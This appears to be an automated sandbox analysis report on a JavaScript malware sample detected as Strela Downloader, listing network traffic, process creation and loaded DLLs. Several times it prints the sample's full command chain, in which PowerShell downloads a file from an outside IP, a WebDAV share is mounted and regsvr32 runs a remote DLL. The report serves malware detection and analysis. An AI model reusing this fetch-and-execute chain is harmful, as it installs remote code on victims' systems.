Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1355124364.0000022EDBDFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1426155550.000001E19B8A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1426048811.000001E19B848000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1410150143.000001E19B89E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1426048811.000001E19B848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/v
Source: net.exe, 00000007.00000002.1426048811.000001E19B848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~
Source: svchost.exe, 00000009.00000002.2636083953.00000287A1200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1412322137.00000287A1030000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7324, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 247714231173424547.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0enljl0c.xeo.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1640,i,12368101296356233918,12321352274645711292,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1640,i,12368101296356233918,12321352274645711292,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
